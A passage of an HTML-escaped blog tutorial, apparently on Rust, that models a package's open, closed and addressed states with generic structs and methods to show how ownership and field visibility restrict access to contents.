&lt;code&gt;close&lt;/code&gt;, which converts the OpenPackage to a ClosedPackage.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;T: Sized&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;OpenPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new(contents: T)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;OpenPackage::&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{contents: contents}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; pack(contents: T)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;\t&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;Put some data in a package.&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Self::new(contents)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; unpack(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; T&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;\t&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;Package unpacked.&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.contents&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; close(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; ClosedPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;\t&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;Package closed.&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ClosedPackage::&amp;lt;T&amp;gt;::new(self.contents)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This leads naturally to the ClosedPackage struct:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; ClosedPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;contents: T&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Very similar, but without the &lt;code&gt;pub&lt;/code&gt; attribute. This means that a ClosedPackage isn&amp;rsquo;t in danger of having its contents manipulated in any way.&lt;/p&gt;&#xA;&lt;p&gt;ClosedPackages can be opened again, yielding an OpenPackage, or addressed, creating an AddressedPackage.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;T: Sized&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ClosedPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new(contents: T)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ClosedPackage::&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents: contents&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; open(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; OpenPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;\t&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;Package opened.&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;OpenPackage::&amp;lt;T&amp;gt;::new(self.contents)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; address(self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;address: String)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; AddressedPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;\t&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;Addressed a closed package.&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;AddressedPackage::new(self.contents,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;address)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, the AddressedPackage struct represents one with a specified destination. I used a &lt;code&gt;String&lt;/code&gt; for the address here, but it would be trivial to create a generic version.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; AddressedPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;contents: T,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;address: String&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To understand the access controls here, just think of a physical package. The address is on the outside; anyone can read it or cross it out with a sharpie. The contents, however, are sealed away.&lt;/p&gt;&#xA;&lt;p&gt;This struct can be turned back into a ClosedPackage by &lt;code&gt;receive&lt;/code&gt;ing it:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;T: Sized&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;AddressedPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new(contents: T,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;address: String)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;AddressedPackage::&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents: contents,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;address: address&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; receive(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; ClosedPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;\t&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;Package recieved.&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ClosedPackage::&amp;lt;T&amp;gt;::new(self.contents)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, I created an example function to &amp;ldquo;send&amp;rdquo; the package somewhere.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; send_package&amp;lt;T: Sized+std::fmt::Display&amp;gt;(package: AddressedPackage&amp;lt;T&amp;gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Result&amp;lt;String,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;String&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Save the address.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;address&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package.address.clone();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Destroy the package to get at the contents&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package.receive().open().unpack();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Destination recieved: &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Success! Theoretically this function could fail, but not with this implementation.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Ok(format!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Sent package to &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;address))&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; main()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Make a box and then destroy it.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents: String =&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Here is some data.&amp;#34;&lt;/span&gt;.into();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;OpenPackage::pack(contents);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// The package owns its contents.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// println!(&amp;#34;{}&amp;#34;, contents); is invalid.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package.unpack());&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Now, make a box, close it, and address it.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; 